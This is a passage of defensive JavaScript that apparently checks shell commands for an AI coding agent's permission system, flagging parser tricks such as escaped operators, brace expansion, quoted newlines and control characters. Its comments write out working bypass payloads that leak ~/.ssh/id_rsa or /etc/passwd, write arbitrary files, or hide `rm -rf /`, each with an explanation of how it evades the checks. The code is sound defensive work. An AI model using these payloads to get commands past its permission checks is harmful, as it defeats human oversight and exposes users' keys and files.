- * (\\;) are dangerous in bash (\\ → \, ; separates). Odd counts (\;) are safe
1398
- * in bash but trigger the double-parse bug above. Both must be flagged.
1399
- *
1400
- * Known false positive: `find . -exec cmd {} \;` — users will be prompted once.
1401
- *
1402
- * Note: `(` and `)` are NOT in this set — splitCommand preserves `\(` and `\)`
1403
- * in its output (round-trip safe), so they don't trigger the double-parse bug.
1404
- * This allows `find . \( -name x -o -name y \)` to pass without false positives.
1405
- */
1406
- const SHELL_OPERATORS = new Set([';', '|', '&', '<', '>']);
1407
- function hasBackslashEscapedOperator(command) {
1408
- let inSingleQuote = false;
1409
- let inDoubleQuote = false;
1410
- for (let i = 0; i < command.length; i++) {
1411
- const char = command[i];
1412
- // SECURITY: Handle backslash FIRST, before quote toggles. In bash, inside
1413
- // double quotes, `\"` is an escape sequence producing a literal `"` — it
1414
- // does NOT close the quote. If we process quote toggles first, `\"` inside
1415
- // `"..."` desyncs the tracker:
1416
- // - `\` is ignored (gated by !inDoubleQuote)
1417
- // - `"` toggles inDoubleQuote to FALSE (wrong — bash says still inside)
1418
- // - next `"` (the real closing quote) toggles BACK to TRUE — locked desync
1419
- // - subsequent `\;` is missed because !inDoubleQuote is false
1420
- // Exploit: `tac "x\"y" \; echo ~/.ssh/id_rsa` — bash runs ONE tac reading
1421
- // all args as files (leaking id_rsa), but desynced tracker misses `\;` and
1422
- // splitCommand's double-parse normalization "sees" two safe commands.
1423
- //
1424
- // Fix structure matches hasBackslashEscapedWhitespace (which was correctly
1425
- // fixed for this in commit prior to d000dfe84e): backslash check first,
1426
- // gated only by !inSingleQuote (since backslash IS literal inside '...'),
1427
- // unconditional i++ to skip the escaped char even inside double quotes.
1428
- if (char === '\\' && !inSingleQuote) {
1429
- // Only flag \<operator> when OUTSIDE double quotes (inside double quotes,
1430
- // operators like ;|&<> are already not special, so \; is harmless there).
1431
- if (!inDoubleQuote) {
1432
- const nextChar = command[i + 1];
1433
- if (nextChar && SHELL_OPERATORS.has(nextChar)) {
1434
- return true;
1435
- }
1436
- }
1437
- // Skip the escaped character unconditionally. Inside double quotes, this
1438
- // correctly consumes backslash pairs: `"x\\"` → pos 6 (`\`) skips pos 7
1439
- // (`\`), then pos 8 (`"`) toggles inDoubleQuote off correctly. Without
1440
- // unconditional skip, pos 7 would see `\`, see pos 8 (`"`) as nextChar,
1441
- // skip it, and the closing quote would NEVER toggle inDoubleQuote —
1442
- // permanently desyncing and missing subsequent `\;` outside quotes.
1443
- // Exploit: `cat "x\\" \; echo /etc/passwd` — bash reads /etc/passwd.
1444
- //
1445
- // This correctly handles backslash parity: odd-count `\;` (1, 3, 5...)
1446
- // is flagged (the unpaired `\` before `;` is detected). Even-count `\\;`
1447
- // (2, 4...) is NOT flagged, which is CORRECT — bash treats `\\` as
1448
- // literal `\` and `;` as a separator, so splitCommand handles it
1449
- // normally (no double-parse bug). This matches
1450
- // hasBackslashEscapedWhitespace line ~1340.
1451
- i++;
1452
- continue;
1453
- }
1454
- // Quote toggles come AFTER backslash handling (backslash already skipped
1455
- // any escaped quote char, so these toggles only fire on unescaped quotes).
1456
- if (char === "'" && !inDoubleQuote) {
1457
- inSingleQuote = !inSingleQuote;
1458
- continue;
1459
- }
1460
- if (char === '"' && !inSingleQuote) {
1461
- inDoubleQuote = !inDoubleQuote;
1462
- continue;
1463
- }
1464
- }
1465
- return false;
1466
- }
1467
- function validateBackslashEscapedOperators(context) {
1468
- // Tree-sitter path: if tree-sitter confirms no actual operator nodes exist
1469
- // in the AST, then any \; is just an escaped character in a word argument
1470
- // (e.g., `find . -exec cmd {} \;`). Skip the expensive regex check.
1471
- if (context.treeSitter && !context.treeSitter.hasActualOperatorNodes) {
1472
- return { behavior: 'passthrough', message: 'No operator nodes in AST' };
1473
- }
1474
- if (hasBackslashEscapedOperator(context.originalCommand)) {
1475
- logEvent('tengu_bash_security_check_triggered', {
1476
- checkId: BASH_SECURITY_CHECK_IDS.BACKSLASH_ESCAPED_OPERATORS,
1477
- });
1478
- return {
1479
- behavior: 'ask',
1480
- message: 'Command contains a backslash before a shell operator (;, |, &, <, >) which can hide command structure',
1481
- };
1482
- }
1483
- return {
1484
- behavior: 'passthrough',
1485
- message: 'No backslash-escaped operators',
1486
- };
1487
- }
1488
- /**
1489
- * Checks if a character at position `pos` in `content` is escaped by counting
1490
- * consecutive backslashes before it. An odd number means it's escaped.
1491
- */
1492
- function isEscapedAtPosition(content, pos) {
1493
- let backslashCount = 0;
1494
- let i = pos - 1;
1495
- while (i >= 0 && content[i] === '\\') {
1496
- backslashCount++;
1497
- i--;
1498
- }
1499
- return backslashCount % 2 === 1;
1500
- }
1501
- /**
1502
- * Detects unquoted brace expansion syntax that Bash expands but shell-quote/tree-sitter
1503
- * treat as literal strings. This parsing discrepancy allows permission bypass:
1504
- * git ls-remote {--upload-pack="touch /tmp/test",test}
1505
- * Parser sees one literal arg, but Bash expands to: --upload-pack="touch /tmp/test" test
1506
- *
1507
- * Brace expansion has two forms:
1508
- * 1. Comma-separated: {a,b,c} → a b c
1509
- * 2. Sequence: {1..5} → 1 2 3 4 5
1510
- *
1511
- * Both single and double quotes suppress brace expansion in Bash, so we use
1512
- * fullyUnquotedContent which has both quote types stripped.
1513
- * Backslash-escaped braces (\{, \}) also suppress expansion.
1514
- */
1515
- function validateBraceExpansion(context) {
1516
- // Use pre-strip content to avoid false negatives from stripSafeRedirections
1517
- // creating backslash adjacencies (e.g., `\>/dev/null{a,b}` → `\{a,b}` after
1518
- // stripping, making isEscapedAtPosition think the brace is escaped).
1519
- const content = context.fullyUnquotedPreStrip;
1520
- // SECURITY: Check for MISMATCHED brace counts in fullyUnquoted content.
1521
- // A mismatch indicates that quoted braces (e.g., `'{'` or `"{"`) were
1522
- // stripped by extractQuotedContent, leaving unbalanced braces in the content
1523
- // we analyze. Our depth-matching algorithm below assumes balanced braces —
1524
- // with a mismatch, it closes at the WRONG position, missing commas that
1525
- // bash's algorithm WOULD find.
1526
- //
1527
- // Exploit: `git diff {@'{'0},--output=/tmp/pwned}`
1528
- // - Original: 2 `{`, 2 `}` (quoted `'{'` counts as content, not operator)
1529
- // - fullyUnquoted: `git diff {@0},--output=/tmp/pwned}` — 1 `{`, 2 `}`!
1530
- // - Our depth-matcher: closes at first `}` (after `0`), inner=`@0`, no `,`
1531
- // - Bash (on original): quoted `{` is content; first unquoted `}` has no
1532
- // `,` yet → bash treats as literal content, keeps scanning → finds `,`
1533
- // → final `}` closes → expands to `@{0} --output=/tmp/pwned`
1534
- // - git writes diff to /tmp/pwned. ARBITRARY FILE WRITE, ZERO PERMISSIONS.
1535
- //
1536
- // We count ONLY unescaped braces (backslash-escaped braces are literal in
1537
- // bash). If counts mismatch AND at least one unescaped `{` exists, block —
1538
- // our depth-matching cannot be trusted on this content.
1539
- let unescapedOpenBraces = 0;
1540
- let unescapedCloseBraces = 0;
1541
- for (let i = 0; i < content.length; i++) {
1542
- if (content[i] === '{' && !isEscapedAtPosition(content, i)) {
1543
- unescapedOpenBraces++;
1544
- }
1545
- else if (content[i] === '}' && !isEscapedAtPosition(content, i)) {
1546
- unescapedCloseBraces++;
1547
- }
1548
- }
1549
- // Only block when CLOSE count EXCEEDS open count — this is the specific
1550
- // attack signature. More `}` than `{` means a quoted `{` was stripped
1551
- // (bash saw it as content, we see extra `}` unaccounted for). The inverse
1552
- // (more `{` than `}`) is usually legitimate unclosed/escaped braces like
1553
- // `{foo` or `{a,b\}` where bash doesn't expand anyway.
1554
- if (unescapedOpenBraces > 0 && unescapedCloseBraces > unescapedOpenBraces) {
1555
- logEvent('tengu_bash_security_check_triggered', {
1556
- checkId: BASH_SECURITY_CHECK_IDS.BRACE_EXPANSION,
1557
- subId: 2,
1558
- });
1559
- return {
1560
- behavior: 'ask',
1561
- message: 'Command has excess closing braces after quote stripping, indicating possible brace expansion obfuscation',
1562
- };
1563
- }
1564
- // SECURITY: Additionally, check the ORIGINAL command (before quote stripping)
1565
- // for `'{'` or `"{"` INSIDE an unquoted brace context — this is the specific
1566
- // attack primitive. A quoted brace inside an outer unquoted `{...}` is
1567
- // essentially always an obfuscation attempt; legitimate commands don't nest
1568
- // quoted braces inside brace expansion (awk/find patterns are fully quoted,
1569
- // like `awk '{print $1}'` where the OUTER brace is inside quotes too).
1570
- //
1571
- // This catches the attack even if an attacker crafts a payload with balanced
1572
- // stripped braces (defense-in-depth). We use a simple heuristic: if the
1573
- // original command has `'{'` or `'}'` or `"{"` or `"}"` (quoted single brace)
1574
- // AND also has an unquoted `{`, that's suspicious.
1575
- if (unescapedOpenBraces > 0) {
1576
- const orig = context.originalCommand;
1577
- // Look for quoted single-brace patterns: '{', '}', "{", "}"
1578
- // These are the attack primitive — a brace char wrapped in quotes.
1579
- if (/['"][{}]['"]/.test(orig)) {
1580
- logEvent('tengu_bash_security_check_triggered', {
1581
- checkId: BASH_SECURITY_CHECK_IDS.BRACE_EXPANSION,
1582
- subId: 3,
1583
- });
1584
- return {
1585
- behavior: 'ask',
1586
- message: 'Command contains quoted brace character inside brace context (potential brace expansion obfuscation)',
1587
- };
1588
- }
1589
- }
1590
- // Scan for unescaped `{` characters, then check if they form brace expansion.
1591
- // We use a manual scan rather than a simple regex lookbehind because
1592
- // lookbehinds can't handle double-escaped backslashes (\\{ is unescaped `{`).
1593
- for (let i = 0; i < content.length; i++) {
1594
- if (content[i] !== '{')
1595
- continue;
1596
- if (isEscapedAtPosition(content, i))
1597
- continue;
1598
- // Find matching unescaped `}` by tracking nesting depth.
1599
- // Previous approach broke on nested `{`, missing commas between the outer
1600
- // `{` and the nested one (e.g., `{--upload-pack="evil",{test}}`).
1601
- let depth = 1;
1602
- let matchingClose = -1;
1603
- for (let j = i + 1; j < content.length; j++) {
1604
- const ch = content[j];
1605
- if (ch === '{' && !isEscapedAtPosition(content, j)) {
1606
- depth++;
1607
- }
1608
- else if (ch === '}' && !isEscapedAtPosition(content, j)) {
1609
- depth--;
1610
- if (depth === 0) {
1611
- matchingClose = j;
1612
- break;
1613
- }
1614
- }
1615
- }
1616
- if (matchingClose === -1)
1617
- continue;
1618
- // Check for `,` or `..` at the outermost nesting level between this
1619
- // `{` and its matching `}`. Only depth-0 triggers matter — bash splits
1620
- // brace expansion at outer-level commas/sequences.
1621
- let innerDepth = 0;
1622
- for (let k = i + 1; k < matchingClose; k++) {
1623
- const ch = content[k];
1624
- if (ch === '{' && !isEscapedAtPosition(content, k)) {
1625
- innerDepth++;
1626
- }
1627
- else if (ch === '}' && !isEscapedAtPosition(content, k)) {
1628
- innerDepth--;
1629
- }
1630
- else if (innerDepth === 0) {
1631
- if (ch === ',' ||
1632
- (ch === '.' && k + 1 < matchingClose && content[k + 1] === '.')) {
1633
- logEvent('tengu_bash_security_check_triggered', {
1634
- checkId: BASH_SECURITY_CHECK_IDS.BRACE_EXPANSION,
1635
- subId: 1,
1636
- });
1637
- return {
1638
- behavior: 'ask',
1639
- message: 'Command contains brace expansion that could alter command parsing',
1640
- };
1641
- }
1642
- }
1643
- }
1644
- // No expansion at this level — don't skip past; inner pairs will be
1645
- // caught by subsequent iterations of the outer loop.
1646
- }
1647
- return {
1648
- behavior: 'passthrough',
1649
- message: 'No brace expansion detected',
1650
- };
1651
- }
1652
- // Matches Unicode whitespace characters that shell-quote treats as word
1653
- // separators but bash treats as literal word content. While this differential
1654
- // is defense-favorable (shell-quote over-splits), blocking these proactively
1655
- // prevents future edge cases.
1656
- // eslint-disable-next-line no-misleading-character-class
1657
- const UNICODE_WS_RE = /[\u00A0\u1680\u2000-\u200A\u2028\u2029\u202F\u205F\u3000\uFEFF]/;
1658
- function validateUnicodeWhitespace(context) {
1659
- const { originalCommand } = context;
1660
- if (UNICODE_WS_RE.test(originalCommand)) {
1661
- logEvent('tengu_bash_security_check_triggered', {
1662
- checkId: BASH_SECURITY_CHECK_IDS.UNICODE_WHITESPACE,
1663
- });
1664
- return {
1665
- behavior: 'ask',
1666
- message: 'Command contains Unicode whitespace characters that could cause parsing inconsistencies',
1667
- };
1668
- }
1669
- return { behavior: 'passthrough', message: 'No Unicode whitespace' };
1670
- }
1671
- function validateMidWordHash(context) {
1672
- const { unquotedKeepQuoteChars } = context;
1673
- // Match # preceded by a non-whitespace character (mid-word hash).
1674
- // shell-quote treats mid-word # as comment-start but bash treats it as a
1675
- // literal character, creating a parser differential.
1676
- //
1677
- // Uses unquotedKeepQuoteChars (which preserves quote delimiters but strips
1678
- // quoted content) to catch quote-adjacent # like 'x'# — fullyUnquotedPreStrip
1679
- // would strip both quotes and content, turning 'x'# into just # (word-start).
1680
- //
1681
- // SECURITY: Also check the CONTINUATION-JOINED version. The context is built
1682
- // from the original command (pre-continuation-join). For `foo\<NL>#bar`,
1683
- // pre-join the `#` is preceded by `\n` (whitespace → `/\S#/` doesn't match),
1684
- // but post-join it's preceded by `o` (non-whitespace → matches). shell-quote
1685
- // operates on the post-join text (line continuations are joined in
1686
- // splitCommand), so the parser differential manifests on the joined text.
1687
- // While not directly exploitable (the `#...` fragment still prompts as its
1688
- // own subcommand), this is a defense-in-depth gap — shell-quote would drop
1689
- // post-`#` content from path extraction.
1690
- //
1691
- // Exclude ${# which is bash string-length syntax (e.g., ${#var}).
1692
- // Note: the lookbehind must be placed immediately before # (not before \S)
1693
- // so that it checks the correct 2-char window.
1694
- const joined = unquotedKeepQuoteChars.replace(/\\+\n/g, match => {
1695
- const backslashCount = match.length - 1;
1696
- return backslashCount % 2 === 1 ? '\\'.repeat(backslashCount - 1) : match;
1697
- });
1698
- if (
1699
- // eslint-disable-next-line custom-rules/no-lookbehind-regex -- .test() with atom search: fast when # absent
1700
- /\S(?<!\$\{)#/.test(unquotedKeepQuoteChars) ||
1701
- // eslint-disable-next-line custom-rules/no-lookbehind-regex -- same as above
1702
- /\S(?<!\$\{)#/.test(joined)) {
1703
- logEvent('tengu_bash_security_check_triggered', {
1704
- checkId: BASH_SECURITY_CHECK_IDS.MID_WORD_HASH,
1705
- });
1706
- return {
1707
- behavior: 'ask',
1708
- message: 'Command contains mid-word # which is parsed differently by shell-quote vs bash',
1709
- };
1710
- }
1711
- return { behavior: 'passthrough', message: 'No mid-word hash' };
1712
- }
1713
- /**
1714
- * Detects when a `#` comment contains quote characters that would desync
1715
- * downstream quote trackers (like extractQuotedContent).
1716
- *
1717
- * In bash, everything after an unquoted `#` on a line is a comment — quote
1718
- * characters inside the comment are literal text, not quote toggles. But our
1719
- * quote-tracking functions don't handle comments, so a `'` or `"` after `#`
1720
- * toggles their quote state. Attackers can craft `# ' "` sequences that
1721
- * precisely desync the tracker, causing subsequent content (on following
1722
- * lines) to appear "inside quotes" when it's actually unquoted in bash.
1723
- *
1724
- * Example attack:
1725
- * echo "it's" # ' " <<'MARKER'\n
1726
- * rm -rf /\n
1727
- * MARKER
1728
- * In bash: `#` starts a comment, `rm -rf /` executes on line 2.
1729
- * In extractQuotedContent: the `'` at position 14 (after #) opens a single
1730
- * quote, and the `'` before MARKER closes it. But the `'` after MARKER opens
1731
- * ANOTHER single quote, swallowing the newline and `rm -rf /`, so
1732
- * validateNewlines sees no unquoted newlines.
1733
- *
1734
- * Defense: If we see an unquoted `#` followed by any quote character on the
1735
- * same line, treat it as a misparsing concern. Legitimate commands rarely
1736
- * have quote characters in their comments (and if they do, the user can
1737
- * approve manually).
1738
- */
1739
- function validateCommentQuoteDesync(context) {
1740
- // Tree-sitter path: tree-sitter correctly identifies comment nodes and
1741
- // quoted content. The desync concern is about regex quote tracking being
1742
- // confused by quote characters inside comments. When tree-sitter provides
1743
- // the quote context, this desync cannot happen — the AST is authoritative
1744
- // regardless of whether the command contains a comment.
1745
- if (context.treeSitter) {
1746
- return {
1747
- behavior: 'passthrough',
1748
- message: 'Tree-sitter quote context is authoritative',
1749
- };
1750
- }
1751
- const { originalCommand } = context;
1752
- // Track quote state character-by-character using the same (correct) logic
1753
- // as extractQuotedContent: single quotes don't toggle inside double quotes.
1754
- // When we encounter an unquoted `#`, check if the rest of the line (until
1755
- // newline) contains any quote characters.
1756
- let inSingleQuote = false;
1757
- let inDoubleQuote = false;
1758
- let escaped = false;
1759
- for (let i = 0; i < originalCommand.length; i++) {
1760
- const char = originalCommand[i];
1761
- if (escaped) {
1762
- escaped = false;
1763
- continue;
1764
- }
1765
- if (inSingleQuote) {
1766
- if (char === "'")
1767
- inSingleQuote = false;
1768
- continue;
1769
- }
1770
- if (char === '\\') {
1771
- escaped = true;
1772
- continue;
1773
- }
1774
- if (inDoubleQuote) {
1775
- if (char === '"')
1776
- inDoubleQuote = false;
1777
- // Single quotes inside double quotes are literal — no toggle
1778
- continue;
1779
- }
1780
- if (char === "'") {
1781
- inSingleQuote = true;
1782
- continue;
1783
- }
1784
- if (char === '"') {
1785
- inDoubleQuote = true;
1786
- continue;
1787
- }
1788
- // Unquoted `#` — in bash, this starts a comment. Check if the rest of
1789
- // the line contains quote characters that would desync other trackers.
1790
- if (char === '#') {
1791
- const lineEnd = originalCommand.indexOf('\n', i);
1792
- const commentText = originalCommand.slice(i + 1, lineEnd === -1 ? originalCommand.length : lineEnd);
1793
- if (/['"]/.test(commentText)) {
1794
- logEvent('tengu_bash_security_check_triggered', {
1795
- checkId: BASH_SECURITY_CHECK_IDS.COMMENT_QUOTE_DESYNC,
1796
- });
1797
- return {
1798
- behavior: 'ask',
1799
- message: 'Command contains quote characters inside a # comment which can desync quote tracking',
1800
- };
1801
- }
1802
- // Skip to end of line (rest is comment)
1803
- if (lineEnd === -1)
1804
- break;
1805
- i = lineEnd; // Loop increment will move past newline
1806
- }
1807
- }
1808
- return { behavior: 'passthrough', message: 'No comment quote desync' };
1809
- }
1810
- /**
1811
- * Detects a newline inside a quoted string where the NEXT line would be
1812
- * stripped by stripCommentLines (trimmed line starts with `#`).
1813
- *
1814
- * In bash, `\n` inside quotes is a literal character and part of the argument.
1815
- * But stripCommentLines (called by stripSafeWrappers in bashPermissions before
1816
- * path validation and rule matching) processes commands LINE-BY-LINE via
1817
- * `command.split('\n')` without tracking quote state. A quoted newline lets an
1818
- * attacker position the next line to start with `#` (after trim), causing
1819
- * stripCommentLines to drop that line entirely — hiding sensitive paths or
1820
- * arguments from path validation and permission rule matching.
1821
- *
1822
- * Example attack (auto-allowed in acceptEdits mode without any Bash rules):
1823
- * mv ./decoy '<\n>#' ~/.ssh/id_rsa ./exfil_dir
1824
- * Bash: moves ./decoy AND ~/.ssh/id_rsa into ./exfil_dir/ (errors on `\n#`).
1825
- * stripSafeWrappers: line 2 starts with `#` → stripped → "mv ./decoy '".
1826
- * shell-quote: drops unbalanced trailing quote → ["mv", "./decoy"].
1827
- * checkPathConstraints: only sees ./decoy (in cwd) → passthrough.
1828
- * acceptEdits mode: mv with all-cwd paths → ALLOW. Zero clicks, no warning.
1829
- *
1830
- * Also works with cp (exfil), rm/rm -rf (delete arbitrary files/dirs).
1831
- *
1832
- * Defense: block ONLY the specific stripCommentLines trigger — a newline inside
1833
- * quotes where the next line starts with `#` after trim. This is the minimal
1834
- * check that catches the parser differential while preserving legitimate
1835
- * multi-line quoted arguments (echo 'line1\nline2', grep patterns, etc.).
1836
- * Safe heredocs ($(cat <<'EOF'...)) and git commit -m "..." are handled by
1837
- * early validators and never reach this check.
1838
- *
1839
- * This validator is NOT in nonMisparsingValidators — its ask result gets
1840
- * isBashSecurityCheckForMisparsing: true, causing an early block in the
1841
- * permission flow at bashPermissions.ts before any line-based processing runs.
1842
- */
1843
- function validateQuotedNewline(context) {
1844
- const { originalCommand } = context;
1845
- // Fast path: must have both a newline byte AND a # character somewhere.
1846
- // stripCommentLines only strips lines where trim().startsWith('#'), so
1847
- // no # means no possible trigger.
1848
- if (!originalCommand.includes('\n') || !originalCommand.includes('#')) {
1849
- return { behavior: 'passthrough', message: 'No newline or no hash' };
1850
- }
1851
- // Track quote state. Mirrors extractQuotedContent / validateCommentQuoteDesync:
1852
- // - single quotes don't toggle inside double quotes
1853
- // - backslash escapes the next char (but not inside single quotes)
1854
- // stripCommentLines splits on '\n' (not \r), so we only treat \n as a line
1855
- // separator. \r inside a line is removed by trim() and doesn't change the
1856
- // trimmed-starts-with-# check.
1857
- let inSingleQuote = false;
1858
- let inDoubleQuote = false;
1859
- let escaped = false;
1860
- for (let i = 0; i < originalCommand.length; i++) {
1861
- const char = originalCommand[i];
1862
- if (escaped) {
1863
- escaped = false;
1864
- continue;
1865
- }
1866
- if (char === '\\' && !inSingleQuote) {
1867
- escaped = true;
1868
- continue;
1869
- }
1870
- if (char === "'" && !inDoubleQuote) {
1871
- inSingleQuote = !inSingleQuote;
1872
- continue;
1873
- }
1874
- if (char === '"' && !inSingleQuote) {
1875
- inDoubleQuote = !inDoubleQuote;
1876
- continue;
1877
- }
1878
- // A newline inside quotes: the NEXT line (from bash's perspective) starts
1879
- // inside a quoted string. Check if that line would be stripped by
1880
- // stripCommentLines — i.e., after trim(), does it start with `#`?
1881
- // This exactly mirrors: lines.filter(l => !l.trim().startsWith('#'))
1882
- if (char === '\n' && (inSingleQuote || inDoubleQuote)) {
1883
- const lineStart = i + 1;
1884
- const nextNewline = originalCommand.indexOf('\n', lineStart);
1885
- const lineEnd = nextNewline === -1 ? originalCommand.length : nextNewline;
1886
- const nextLine = originalCommand.slice(lineStart, lineEnd);
1887
- if (nextLine.trim().startsWith('#')) {
1888
- logEvent('tengu_bash_security_check_triggered', {
1889
- checkId: BASH_SECURITY_CHECK_IDS.QUOTED_NEWLINE,
1890
- });
1891
- return {
1892
- behavior: 'ask',
1893
- message: 'Command contains a quoted newline followed by a #-prefixed line, which can hide arguments from line-based permission checks',
1894
- };
1895
- }
1896
- }
1897
- }
1898
- return { behavior: 'passthrough', message: 'No quoted newline-hash pattern' };
1899
- }
1900
- /**
1901
- * Validates that the command doesn't use Zsh-specific dangerous commands that
1902
- * can bypass security checks. These commands provide capabilities like loading
1903
- * kernel modules, raw file I/O, network access, and pseudo-terminal execution
1904
- * that circumvent normal permission checks.
1905
- *
1906
- * Also catches `fc -e` which can execute arbitrary editors on command history,
1907
- * and `emulate` which with `-c` is an eval-equivalent.
1908
- */
1909
- function validateZshDangerousCommands(context) {
1910
- const { originalCommand } = context;
1911
- // Extract the base command from the original command, stripping leading
1912
- // whitespace, env var assignments, and Zsh precommand modifiers.
1913
- // e.g., "FOO=bar command builtin zmodload" -> "zmodload"
1914
- const ZSH_PRECOMMAND_MODIFIERS = new Set([
1915
- 'command',
1916
- 'builtin',
1917
- 'noglob',
1918
- 'nocorrect',
1919
- ]);
1920
- const trimmed = originalCommand.trim();
1921
- const tokens = trimmed.split(/\s+/);
1922
- let baseCmd = '';
1923
- for (const token of tokens) {
1924
- // Skip env var assignments (VAR=value)
1925
- if (/^[A-Za-z_]\w*=/.test(token))
1926
- continue;
1927
- // Skip Zsh precommand modifiers (they don't change what command runs)
1928
- if (ZSH_PRECOMMAND_MODIFIERS.has(token))
1929
- continue;
1930
- baseCmd = token;
1931
- break;
1932
- }
1933
- if (ZSH_DANGEROUS_COMMANDS.has(baseCmd)) {
1934
- logEvent('tengu_bash_security_check_triggered', {
1935
- checkId: BASH_SECURITY_CHECK_IDS.ZSH_DANGEROUS_COMMANDS,
1936
- subId: 1,
1937
- });
1938
- return {
1939
- behavior: 'ask',
1940
- message: `Command uses Zsh-specific '${baseCmd}' which can bypass security checks`,
1941
- };
1942
- }
1943
- // Check for `fc -e` which allows executing arbitrary commands via editor
1944
- // fc without -e is safe (just lists history), but -e specifies an editor
1945
- // to run on the command, effectively an eval
1946
- if (baseCmd === 'fc' && /\s-\S*e/.test(trimmed)) {
1947
- logEvent('tengu_bash_security_check_triggered', {
1948
- checkId: BASH_SECURITY_CHECK_IDS.ZSH_DANGEROUS_COMMANDS,
1949
- subId: 2,
1950
- });
1951
- return {
1952
- behavior: 'ask',
1953
- message: "Command uses 'fc -e' which can execute arbitrary commands via editor",
1954
- };
1955
- }
1956
- return {
1957
- behavior: 'passthrough',
1958
- message: 'No Zsh dangerous commands',
1959
- };
1960
- }
1961
- // Matches non-printable control characters that have no legitimate use in shell
1962
- // commands: 0x00-0x08, 0x0B-0x0C, 0x0E-0x1F, 0x7F. Excludes tab (0x09),
1963
- // newline (0x0A), and carriage return (0x0D) which are handled by other
1964
- // validators. Bash silently drops null bytes and ignores most control chars,
1965
- // so an attacker can use them to slip metacharacters past our checks while
1966
- // bash still executes them (e.g., "echo safe\x00; rm -rf /").
1967
- // eslint-disable-next-line no-control-regex
1968
- const CONTROL_CHAR_RE = /[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/;
1969
- /**
1970
- * @deprecated Legacy regex/shell-quote path. Only used when tree-sitter is
1971
- * unavailable. The primary gate is parseForSecurity (ast.ts).
1972
- */
1973
- export function bashCommandIsSafe_DEPRECATED(command) {
1974
- // SECURITY: Block control characters before any other processing. Null bytes
1975
- // and other non-printable chars are silently dropped by bash but confuse our
1976
- // validators, allowing metacharacters adjacent to them to slip through.
1977
- if (CONTROL_CHAR_RE.test(command)) {
1978
- logEvent('tengu_bash_security_check_triggered', {
1979
- checkId: BASH_SECURITY_CHECK_IDS.CONTROL_CHARACTERS,
1980
- });
1981
- return {
1982
- behavior: 'ask',
1983
- message: 'Command contains non-printable control characters that could be used to bypass security checks',
1984
- isBashSecurityCheckForMisparsing: true,
1985
- };
1986
- }
1987
- // SECURITY: Detect '\' patterns that exploit shell-quote's incorrect handling
1988
- // of backslashes inside single quotes. Must run before shell-quote parsing.
1989
- if (hasShellQuoteSingleQuoteBug(command)) {
1990
- return {
1991
- behavior: 'ask',
1992
- message: 'Command contains single-quoted backslash pattern that could bypass security checks',
1993
- isBashSecurityCheckForMisparsing: true,
1994
- };
1995
- }
1996
- // SECURITY: Strip heredoc bodies before running security validators.
1997
- // Only strip bodies for quoted/escaped delimiters (<<'EOF', <<\EOF) where
1998
- // the body is literal text — $(), backticks, and ${} are NOT expanded.
1999
- // Unquoted heredocs (<<EOF) undergo full shell expansion, so their bodies
2000
- // may contain executable command substitutions that validators must see.
2001
- // When extractHeredocs bails out (can't parse safely), the raw command
2002
- // goes through all validators — which is the safe direction.
2003
- const { processedCommand } = extractHeredocs(command, { quotedOnly: true });
2004
- const baseCommand = command.split(' ')[0] || '';
2005
- const { withDoubleQuotes, fullyUnquoted, unquotedKeepQuoteChars } = extractQuotedContent(processedCommand, baseCommand === 'jq');
2006
- const context = {
2007
- originalCommand: command,
2008
- baseCommand,
2009
- unquotedContent: withDoubleQuotes,
2010
- fullyUnquotedContent: stripSafeRedirections(fullyUnquoted),
2011
- fullyUnquotedPreStrip: fullyUnquoted,
2012
- unquotedKeepQuoteChars,
2013
- };
2014
- const earlyValidators = [
2015
- validateEmpty,
2016
- validateIncompleteCommands,
2017
- validateSafeCommandSubstitution,
2018
- validateGitCommit,
2019
- ];
2020
- for (const validator of earlyValidators) {
2021
- const result = validator(context);
2022
- if (result.behavior === 'allow') {
2023
- return {
2024
- behavior: 'passthrough',
2025
- message: result.decisionReason?.type === 'other' ||
2026
- result.decisionReason?.type === 'safetyCheck'
2027
- ? result.decisionReason.reason
2028
- : 'Command allowed',
2029
- };
2030
- }
2031
- if (result.behavior !== 'passthrough') {
2032
- return result.behavior === 'ask'
2033
- ? { ...result, isBashSecurityCheckForMisparsing: true }
2034
- : result;
2035
- }
2036
- }
2037
- // Validators that don't set isBashSecurityCheckForMisparsing — their ask
2038
- // results go through the standard permission flow rather than being blocked
2039
- // early. LF newlines and redirections are normal patterns that splitCommand
2040
- // handles correctly, not misparsing concerns.
2041
- //
2042
- // NOTE: validateCarriageReturn is NOT here — CR IS a misparsing concern.
2043
- // shell-quote's `[^\s]` treats CR as a word separator (JS `\s` ⊃ \r), but
2044
- // bash IFS does NOT include CR. splitCommand collapses CR→space, which IS
2045
- // misparsing. See validateCarriageReturn for the full attack trace.
2046
- const nonMisparsingValidators = new Set([
2047
- validateNewlines,
2048
- validateRedirections,
2049
- ]);
2050
- const validators = [
2051
- validateJqCommand,
2052
- validateObfuscatedFlags,
2053
- validateShellMetacharacters,
2054
- validateDangerousVariables,
2055
- // Run comment-quote-desync BEFORE validateNewlines: it detects cases where
2056
- // the quote tracker would miss newlines due to # comment desync.
2057
- validateCommentQuoteDesync,
2058
- // Run quoted-newline BEFORE validateNewlines: it detects the INVERSE case
2059
- // (newlines INSIDE quotes, which validateNewlines ignores by design). Quoted
2060
- // newlines let attackers split commands across lines so that line-based
2061
- // processing (stripCommentLines) drops sensitive content.
2062
- validateQuotedNewline,
2063
- // CR check runs BEFORE validateNewlines — CR is a MISPARSING concern
2064
- // (shell-quote/bash tokenization differential), LF is not.
2065
- validateCarriageReturn,
2066
- validateNewlines,
2067
- validateIFSInjection,
2068
- validateProcEnvironAccess,
2069
- validateDangerousPatterns,
2070
- validateRedirections,
2071
- validateBackslashEscapedWhitespace,
2072
- validateBackslashEscapedOperators,
2073
- validateUnicodeWhitespace,
2074
- validateMidWordHash,
2075
- validateBraceExpansion,
2076
- validateZshDangerousCommands,
2077
- // Run malformed token check last - other validators should catch specific patterns first
2078
- // (e.g., $() substitution, backticks, etc.) since they have more precise error messages
2079
- validateMalformedTokenInjection,
2080
- ];
2081
- // SECURITY: We must NOT short-circuit when a non-misparsing validator
2082
- // returns 'ask' if there are still misparsing validators later in the list.
2083
- // Non-misparsing ask results are discarded at bashPermissions.ts:~1301-1303
2084
- // (the gate only blocks when isBashSecurityCheckForMisparsing is set). If
2085
- // validateRedirections (index 10, non-misparsing) fires first on `>`, it
2086
- // returns ask-without-flag — but validateBackslashEscapedOperators (index 12,
2087
- // misparsing) would have caught `\;` WITH the flag. Short-circuiting lets a
2088
- // payload like `cat safe.txt \; echo /etc/passwd > ./out` slip through.
2089
- //
2090
